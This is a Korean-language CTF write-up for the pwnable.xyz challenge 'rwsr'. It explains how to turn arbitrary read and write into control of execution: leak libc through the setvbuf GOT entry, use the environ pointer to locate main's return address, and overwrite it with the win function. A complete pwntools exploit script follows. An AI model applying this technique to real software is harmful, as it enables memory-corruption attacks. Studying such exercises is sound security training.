[pwnable.xyz] rwsr
Pwn/pwnable.xyz

[pwnable.xyz] rwsr

반응형
문제 풀이 환경 : Ubuntu 18.04

임의의 읽기, 쓰기가 주어졌을 때 뭘 타깃으로 할 거냐고 묻고 있다.

📝 Analysis


<< Mitigation >>

<< Code >>

· main

메뉴 0: return 부르고 종료한다.

메뉴 1: 임의의 주소 읽기 (read)

메뉴 2: 임의의 주소 쓰기 (write)

 

✨ Thinking


메뉴 1, 2가 있는 것만으로도 세상을 다 가진 기분으로 익스를 할 수 있다.

미티게이션을 확인해보면 PIE 빼고 다 걸려있다. 즉 got overwirte로는 간단히 끝낼 수 없다는 뜻이다.

 

그래서 메뉴 0번이 눈에 띄었다. main 함수의 ret 부분을 win 함수로 덮어주고 메뉴 0번을 호출한다면 끝날 것 같았다.

그렇다면 어떻게 그 주소를 leak 할 수 있을까 생각해보면 우리에게는 environ 포인터가 있다는 걸 떠올릴 수 있다.

 

environ 포인터는 라이브러리에서 프로그램의 환경변수를 참조해야 할 일이 있을 때 접근하는 포인터다.

이 포인터는 stack의 어느 부분을 가리키고 있는데 그 가리키고 있는 부분에는 각종 환경변수들에 대한 string을 저장하고 있다.

여기서 중요한 점은 가리키고 있다는 stack의 어느 부분특정 스택 부분과의 offset을 구하여 이를 익스에 이용할 수 이다는 사실이다.

 

🧩 Exploit Scenario 


1. 이미 사용되어 got에 실제주소가 들어간 적이 있는 함수 중 하나를 골라 read 한다. (setup() -> setvbuf 함수)

2. setvbuf got를 이용해서 environ의 주소를 구하고 그곳의 값을 read 한다.

3. environ의 stack 주소에 main ret과의 offset을 빼서 main ret의 주소를 알아낸다.

4. main ret에 win 함수를 write하고 메뉴 0을 불러 win 함수를 호출한다.

 

🚩 Flag 🚩


from pwn import *

context.arch = 'amd64'
# context.log_level = 'debug'

p = process('./rwsr', env={'LD_PRELOAD': './alpine-libc-2.28.so'})
# p = remote('svc.pwnable.xyz', 30019)
e = ELF('./rwsr')
l = ELF('./alpine-libc-2.28.so')

setvbuf_got = e.got['setvbuf']


def read(addr):
    p.sendlineafter('> ', '1')
    p.sendlineafter('Addr: ', str(addr))
    return p.recvline(keepends=False)

def write(addr, value):
    p.sendlineafter('> ', '2')
    p.sendlineafter('Addr: ', str(addr))
    p.sendlineafter('Value: ', str(value))


leak = u64(read(setvbuf_got).ljust(8, b'\x00'))
libc_base = leak - l.sym['setvbuf']
environ = libc_base + l.sym['environ']
success(f'libc_base: {hex(libc_base)}')
success(f'environ: {hex(environ)}')

env_stack = u64(read(environ).ljust(8, b'\x00'))
main_ret = env_stack - 0xf0
success(f'env_stack: {hex(env_stack)}')

write(main_ret, e.sym['win'])
p.sendlineafter('> ', '0')

p.interactive()

 

반응형